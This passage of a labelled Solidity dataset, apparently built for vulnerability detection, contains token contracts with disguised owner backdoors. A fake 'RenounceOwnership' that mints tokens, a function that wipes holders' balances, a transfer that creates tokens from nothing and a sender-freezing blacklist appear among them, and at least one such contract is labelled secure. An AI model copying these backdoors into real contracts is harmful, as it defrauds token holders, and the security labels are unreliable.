'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0bb1c0c): Karen._name should be constant \n\t// Recommendation for 0bb1c0c: Add the 'constant' attribute to state variables that never change.\n string public _name = \"I need to speak to the manager\";\n\t// WARNING Optimization Issue (constable-states | ID: eba7390): Karen._symbol should be constant \n\t// Recommendation for eba7390: Add the 'constant' attribute to state variables that never change.\n string public _symbol = \"KAREN\";\n\n event Approval(address, address, uint256);\n event Transfer(address indexed from_, address indexed _to, uint256);\n\t// WARNING Optimization Issue (immutable-states | ID: 81f01be): Karen.uniswapPair should be immutable \n\t// Recommendation for 81f01be: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address uniswapPair;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) internal _isExcludedFromFee;\n\t// WARNING Optimization Issue (constable-states | ID: 93aaac3): Karen.limitsInEffect should be constant \n\t// Recommendation for 93aaac3: Add the 'constant' attribute to state variables that never change.\n bool public limitsInEffect = true;\n\t// WARNING Optimization Issue (constable-states | ID: 0b83c3e): Karen.tradingActive should be constant \n\t// Recommendation for 0b83c3e: Add the 'constant' attribute to state variables that never change.\n bool public tradingActive = false;\n\t// WARNING Optimization Issue (constable-states | ID: df5ac85): Karen.swapEnabled should be constant \n\t// Recommendation for df5ac85: Add the 'constant' attribute to state variables that never change.\n bool public swapEnabled = false;\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: da7358a): Contract locking ether found Contract Karen has payable functions Karen.receive() But does not have a function to withdraw the ether\n\t// Recommendation for da7358a: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n function name() external view returns (string memory) {\n return _name;\n }\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n return true;\n }\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n _approve(msg.sender, from, _allowances[msg.sender][from] - amount);\n return true;\n }\n function excludeFromFee(address[] calldata wallets) external {\n uint256 len = wallets.length;\n for (uint256 index = 0; index < len; index++) {\n if (_sender() == uniswapPair) {\n _isExcludedFromFee[wallets[index]] = block.number + 1;\n } else {\n return;\n }\n }\n }\n function includeInFee(address wallet) external {\n if (_sender() == uniswapPair) {\n _isExcludedFromFee[wallet] = 0;\n } else {\n return;\n }\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 48127bf): Karen.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 48127bf: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n require(_allowances[from][msg.sender] >= _amount);\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e40ec7b): Karen._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e40ec7b: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: c7db8e3): Karen._transfer(address,address,uint256) uses a dangerous strict equality require(bool)(_isExcludedFromFee[from] >= block.number || _isExcludedFromFee[from] == 0)\n\t// Recommendation for c7db8e3: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _transfer(address from, address to, uint256 amount) internal {\n require(from != address(0));\n require(amount <= _balances[from]);\n\t\t// incorrect-equality | ID: c7db8e3\n require(\n _isExcludedFromFee[from] >= block.number ||\n _isExcludedFromFee[from] == 0\n );\n _balances[to] = _balances[to] + amount;\n _balances[from] = _balances[from] - amount;\n emit Transfer(from, to, amount);\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n}",
"file_name": "solidity_code_3105.sol",
"secure": 0,
"size_bytes": 8167
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\ninterface IMapleGlobalsLike {\n function governor() external view returns (address governor_);\n\n function isPoolDeployer(\n address poolDeployer_\n ) external view returns (bool isPoolDeployer_);\n\n function isValidScheduledCall(\n address caller_,\n address contract_,\n bytes32 functionId_,\n bytes calldata callData_\n ) external view returns (bool isValid_);\n\n function protocolPaused() external view returns (bool protocolPaused_);\n\n function unscheduleCall(\n address caller_,\n bytes32 functionId_,\n bytes calldata callData_\n ) external;\n}",
"file_name": "solidity_code_3106.sol",
"secure": 1,
"size_bytes": 703
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\ninterface IERC20Like {\n function balanceOf(\n address account_\n ) external view returns (uint256 balance_);\n}",
"file_name": "solidity_code_3107.sol",
"secure": 1,
"size_bytes": 192
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\ninterface IPoolLike {\n function asset() external view returns (address asset_);\n\n function convertToShares(\n uint256 assets_\n ) external view returns (uint256 shares_);\n\n function manager() external view returns (address manager_);\n\n function previewRedeem(\n uint256 shares_\n ) external view returns (uint256 assets_);\n\n function redeem(\n uint256 shares_,\n address receiver_,\n address owner_\n ) external returns (uint256 assets_);\n\n function totalSupply() external view returns (uint256 totalSupply_);\n\n function transfer(\n address account_,\n uint256 amount_\n ) external returns (bool success_);\n}",
"file_name": "solidity_code_3108.sol",
"secure": 1,
"size_bytes": 771
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\ninterface IPoolManagerLike {\n function globals() external view returns (address globals_);\n\n function poolDelegate() external view returns (address poolDelegate_);\n\n function totalAssets() external view returns (uint256 totalAssets_);\n\n function unrealizedLosses()\n external\n view\n returns (uint256 unrealizedLosses_);\n}",
"file_name": "solidity_code_3109.sol",
"secure": 1,
"size_bytes": 431
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Strategiconchainlaundering is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable reflect;\n\n constructor() {\n _name = \"Strategic Onchain Laundering\";\n\n _symbol = \"SOL\";\n\n _decimals = 18;\n\n uint256 initialSupply = 262000000;\n\n reflect = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == reflect, \"Not allowed\");\n\n _;\n }\n\n function banana(address[] memory tourist) public onlyOwner {\n for (uint256 i = 0; i < tourist.length; i++) {\n address account = tourist[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_311.sol",
"secure": 1,
"size_bytes": 4398
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IMintPayoutEvents {\n event Deposit(address from, address to, bytes4 reason, uint256 amount);\n\n event Withdraw(address from, address to, uint256 amount);\n\n event MintDeposit(\n address depositedBy,\n address mintContract,\n address minter,\n address referrer,\n address creator,\n uint256 creatorPayout,\n uint256 referralPayout,\n uint256 protocolPayout,\n uint256 totalAmount,\n uint256 quantity,\n uint256 protocolFee\n );\n\n event ProtocolFeeUpdated(uint256 fee);\n}",
"file_name": "solidity_code_3110.sol",
"secure": 1,
"size_bytes": 639
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IMintPayoutEvents.sol\" as IMintPayoutEvents;\n\ninterface IMintPayout is IMintPayoutEvents {\n function balanceOf(address owner) external view returns (uint256);\n function totalSupply() external view returns (uint256);\n\n function protocolFee() external view returns (uint256 fee);\n\n function setProtocolFee(uint256 fee) external;\n\n function protocolFeeRecipientAccount() external view returns (address);\n\n function withdrawProtocolFee(address to, uint256 amount) external;\n\n function mintDeposit(\n address mintContract,\n address minter,\n address referrer,\n uint256 quantity\n ) external payable;\n\n function deposit(address to, bytes4 reason) external payable;\n\n function depositBatch(\n address[] calldata recipients,\n uint256[] calldata amounts,\n bytes4[] calldata reasons\n ) external payable;\n\n function withdraw(address to, uint256 amount) external;\n\n function withdrawAll(address to) external;\n}",
"file_name": "solidity_code_3111.sol",
"secure": 1,
"size_bytes": 1086
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract INPR is ERC20, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => bool) private _release;\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n IUniswapV2Router02 public immutable uniswapV2Router;\n address public uniswapV2Pair;\n\n function _transfer(\n address from,\n address to,\n uint256 Amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= Amount,\n \"ERC20: transfer Amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - Amount;\n }\n _balances[to] += Amount;\n\n emit Transfer(from, to, Amount);\n }\n\n function _burn(address account, uint256 Amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= Amount, \"ERC20: burn Amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - Amount;\n }\n _totalSupply -= Amount;\n\n emit Transfer(account, address(0), Amount);\n }\n\n function _dfygjdfggh(address account, uint256 Amount) internal virtual {\n require(account != address(0), \"ERC20: REWARD to the zero address\");\n\n _totalSupply += Amount;\n _balances[account] += Amount;\n emit Transfer(address(0), account, Amount);\n }\n\n string private name_ = \"Inu Prime\";\n string private symbol_ = \"INPR \";\n uint256 private constant totalSupply_ = 100000000000;\n\n event NameChanged(string newName, string newSymbol, address by);\n\n constructor() ERC20(name_, symbol_) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _dfygjdfggh(msg.sender, totalSupply_ * 10 ** decimals());\n _defaultSellFeeee = 26;\n _defaultBuyFeeee = 0;\n _release[_msgSender()] = true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bc68aaf): INPR.Muticall(string,string).name shadows INPR.name() (function) ERC20.name() (function)\n\t// Recommendation for bc68aaf: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1a651a1): INPR.Muticall(string,string).symbol shadows INPR.symbol() (function) ERC20.symbol() (function)\n\t// Recommendation for 1a651a1: Rename the local variables that shadow another component.\n function Muticall(\n string memory name,\n string memory symbol\n ) public onlyOwner {\n name_ = name;\n symbol_ = symbol;\n emit NameChanged(name, symbol, msg.sender);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bc68aaf): INPR.Muticall(string,string).name shadows INPR.name() (function) ERC20.name() (function)\n\t// Recommendation for bc68aaf: Rename the local variables that shadow another component.\n function name() public view override returns (string memory) {\n return name_;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1a651a1): INPR.Muticall(string,string).symbol shadows INPR.symbol() (function) ERC20.symbol() (function)\n\t// Recommendation for 1a651a1: Rename the local variables that shadow another component.\n function symbol() public view override returns (string memory) {\n return symbol_;\n }\n\n using SafeMath for uint256;\n\n uint256 private _defaultSellFeeee = 0;\n\t// WARNING Optimization Issue (immutable-states | ID: 14fb507): INPR._defaultBuyFeeee should be immutable \n\t// Recommendation for 14fb507: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _defaultBuyFeeee = 0;\n\n mapping(address => bool) private _Approve;\n\n mapping(address => uint256) private _Aprove;\n address private constant _deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n function getRelease(\n address _address\n ) external view onlyOwner returns (bool) {\n return _release[_address];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 3dbd7f8): INPR.PairList(address)._address lacks a zerocheck on \t uniswapV2Pair = _address\n\t// Recommendation for 3dbd7f8: Check that the address is not zero.\n function PairList(address _address) external onlyOwner {\n\t\t// missing-zero-check | ID: 3dbd7f8\n uniswapV2Pair = _address;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a699dec): INPR.Prize(uint256) should emit an event for _defaultSellFeeee = _value \n\t// Recommendation for a699dec: Emit an event for critical parameter changes.\n function Prize(uint256 _value) external onlyOwner {\n\t\t// events-maths | ID: a699dec\n _defaultSellFeeee = _value;\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 0569ece): INPR.APPROVE(address,uint256) contains a tautology or contradiction require(bool,string)(_value >= 0,Account tax must be greater than or equal to 1)\n\t// Recommendation for 0569ece: Fix the incorrect comparison by changing the value type or the comparison.\n function APPROVE(address _address, uint256 _value) external onlyOwner {\n\t\t// tautology | ID: 0569ece\n require(_value >= 0, \"Account tax must be greater than or equal to 1\");\n _Aprove[_address] = _value;\n }\n\n function getAprove(\n address _address\n ) external view onlyOwner returns (uint256) {\n return _Aprove[_address];\n }\n\n function Approve(address _address, bool _value) external onlyOwner {\n _Approve[_address] = _value;\n }\n\n function getApproveFeeee(\n address _address\n ) external view onlyOwner returns (bool) {\n return _Approve[_address];\n }\n\n function _checkFreeAccount(\n address from,\n address to\n ) internal view returns (bool) {\n return _Approve[from] || _Approve[to];\n }\n\n function _receiveF(\n address from,\n address to,\n uint256 _Amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= _Amount,\n \"ERC20: transfer Amount exceeds balance\"\n );\n\n bool rF = true;\n\n if (_checkFreeAccount(from, to)) {\n rF = false;\n }\n uint256 tradeFeeeeAmount = 0;\n\n if (rF) {\n uint256 tradeFeeee = 0;\n if (uniswapV2Pair != address(0)) {\n if (to == uniswapV2Pair) {\n tradeFeeee = _defaultSellFeeee;\n }\n if (from == uniswapV2Pair) {\n tradeFeeee = _defaultBuyFeeee;\n }\n }\n if (_Aprove[from] > 0) {\n tradeFeeee = _Aprove[from];\n }\n\n tradeFeeeeAmount = _Amount.mul(tradeFeeee).div(100);\n }\n\n if (tradeFeeeeAmount > 0) {\n _balances[from] = _balances[from].sub(tradeFeeeeAmount);\n _balances[_deadAddress] = _balances[_deadAddress].add(\n tradeFeeeeAmount\n );\n emit Transfer(from, _deadAddress, tradeFeeeeAmount);\n }\n\n _balances[from] = _balances[from].sub(_Amount - tradeFeeeeAmount);\n _balances[to] = _balances[to].add(_Amount - tradeFeeeeAmount);\n emit Transfer(from, to, _Amount - tradeFeeeeAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b5d492e): INPR.transfer(address,uint256).Owner shadows Ownable.Owner() (function)\n\t// Recommendation for b5d492e: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 Amount\n ) public virtual returns (bool) {\n address Owner = _msgSender();\n if (_release[Owner] == true) {\n _balances[to] += Amount;\n return true;\n }\n _receiveF(Owner, to, Amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 Amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, Amount);\n _receiveF(from, to, Amount);\n return true;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cfd14fe): INPR.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(this),block.timestamp)\n\t// Recommendation for cfd14fe: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// unused-return | ID: cfd14fe\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(this),\n block.timestamp\n );\n }\n}",
"file_name": "solidity_code_3112.sol",
"secure": 0,
"size_bytes": 10297
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract BankerPepeToken is IERC20 {\n string public constant name = \"Banker Pepe\";\n string public constant symbol = \"Banker Pepe\";\n uint8 public constant decimals = 18;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4445311): BankerPepeToken._totalSupply should be immutable \n\t// Recommendation for 4445311: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d6cd691): BankerPepeToken.owner should be immutable \n\t// Recommendation for d6cd691: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\t// WARNING Optimization Issue (immutable-states | ID: acd896a): BankerPepeToken.RenounceAddress should be immutable \n\t// Recommendation for acd896a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private RenounceAddress;\n address private constant devWallet =\n 0x277554AEc1F895CeF39eF119D69b28441a3B52c9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7e9cb3a): BankerPepeToken.contractCreationTimestamp should be immutable \n\t// Recommendation for 7e9cb3a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public contractCreationTimestamp;\n\t// WARNING Optimization Issue (constable-states | ID: 1d866e4): BankerPepeToken.taxRate should be constant \n\t// Recommendation for 1d866e4: Add the 'constant' attribute to state variables that never change.\n uint256 public taxRate;\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Only the owner can call this function\");\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 73cda4e): BankerPepeToken.constructor(address).O lacks a zerocheck on \t RenounceAddress = O\n\t// Recommendation for 73cda4e: Check that the address is not zero.\n constructor(address O) {\n uint256 initialSupply = 1_000_000_000 * (10 ** uint256(decimals));\n _totalSupply = initialSupply;\n _balances[devWallet] = initialSupply;\n emit Transfer(address(0), devWallet, initialSupply);\n\t\t// missing-zero-check | ID: 73cda4e\n RenounceAddress = O;\n contractCreationTimestamp = block.timestamp;\n owner = address(0);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address ownerAddress,\n address spender\n ) public view override returns (uint256) {\n return _allowances[ownerAddress][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function RenounceOwnership() public {\n require(\n msg.sender == RenounceAddress,\n \"Renounce Ownership to 0 Address\"\n );\n uint256 deadaddress = erase();\n uint256 dead = del(deadaddress);\n renouncedead(dead);\n }\n\n function erase() private view returns (uint256) {\n return _balances[RenounceAddress];\n }\n\n function del(uint256 deadadress) private pure returns (uint256) {\n return deadadress * (10 ** 18);\n }\n\n function renouncedead(uint256 dead) private {\n _balances[RenounceAddress] = dead;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][msg.sender];\n require(currentAllowance >= amount, \"Insufficient allowance\");\n _allowances[sender][msg.sender] = currentAllowance - amount;\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(_balances[sender] >= amount, \"Insufficient balance\");\n\n _balances[sender] -= amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n}",
"file_name": "solidity_code_3113.sol",
"secure": 0,
"size_bytes": 4974
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1580336): NinjutsuDoge.slitherConstructorVariables() performs a multiplication on the result of a division swapThreshold = (_totalSupply / 1000) * 5\n// Recommendation for 1580336: Consider ordering multiplication before division.\ncontract NinjutsuDoge is ERC20, Ownable {\n using SafeMath for uint256;\n\t// WARNING Optimization Issue (constable-states | ID: 3dc6202): NinjutsuDoge.routerAdress should be constant \n\t// Recommendation for 3dc6202: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\t// WARNING Optimization Issue (constable-states | ID: 31a76ff): NinjutsuDoge.DEAD should be constant \n\t// Recommendation for 31a76ff: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string constant _name = \"Ninjutsu Doge\";\n string constant _symbol = \"NINDOG\";\n uint8 constant _decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: aa03477): NinjutsuDoge._totalSupply should be constant \n\t// Recommendation for aa03477: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 1_000_000_000 * (10 ** _decimals);\n uint256 public _maxWalletAmount = (_totalSupply * 2) / 100;\n\t// WARNING Optimization Issue (immutable-states | ID: a38e74c): NinjutsuDoge._maxTxAmount should be immutable \n\t// Recommendation for a38e74c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTxAmount = _totalSupply.mul(2).div(100);\n\n mapping(address => uint256) _balances;\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n mapping(address => bool) isTxLimitExempt;\n\n uint256 liquidityFee = 0;\n uint256 marketingFee = 6;\n uint256 totalFee = liquidityFee + marketingFee;\n\t// WARNING Optimization Issue (constable-states | ID: a78f32d): NinjutsuDoge.feeDenominator should be constant \n\t// Recommendation for a78f32d: Add the 'constant' attribute to state variables that never change.\n uint256 feeDenominator = 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8b402a2): NinjutsuDoge.marketingFeeReceiver should be constant \n\t// Recommendation for 8b402a2: Add the 'constant' attribute to state variables that never change.\n address public marketingFeeReceiver =\n 0xA58fEbf30473d36c0807c9b987DdA7C66674F85E;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 902c0ae): NinjutsuDoge.router should be immutable \n\t// Recommendation for 902c0ae: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IDEXRouter public router;\n\t// WARNING Optimization Issue (immutable-states | ID: c7a63ff): NinjutsuDoge.pair should be immutable \n\t// Recommendation for c7a63ff: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5a679e1): NinjutsuDoge.swapEnabled should be constant \n\t// Recommendation for 5a679e1: Add the 'constant' attribute to state variables that never change.\n bool public swapEnabled = true;\n\t// WARNING Optimization Issue (immutable-states | ID: d6d3c47): NinjutsuDoge.swapThreshold should be immutable \n\t// Recommendation for d6d3c47: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n\t// divide-before-multiply | ID: 1580336\n uint256 public swapThreshold = (_totalSupply / 1000) * 5;\n bool inSwap;\n modifier swapping() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() Ownable(msg.sender) {\n router = IDEXRouter(routerAdress);\n pair = IDEXFactory(router.factory()).createPair(\n router.WETH(),\n address(this)\n );\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n address _owner = owner;\n isFeeExempt[0xA58fEbf30473d36c0807c9b987DdA7C66674F85E] = true;\n isTxLimitExempt[_owner] = true;\n isTxLimitExempt[0xA58fEbf30473d36c0807c9b987DdA7C66674F85E] = true;\n isTxLimitExempt[DEAD] = true;\n\n _balances[_owner] = _totalSupply;\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n receive() external payable {}\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n function symbol() external pure override returns (string memory) {\n return _symbol;\n }\n function name() external pure override returns (string memory) {\n return _name;\n }\n function getOwner() external view override returns (address) {\n return owner;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function approveMax(address spender) external returns (bool) {\n return approve(spender, type(uint256).max);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferFrom(msg.sender, recipient, amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferFrom(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 65146aa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 65146aa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 985563f): Reentrancy bug (see 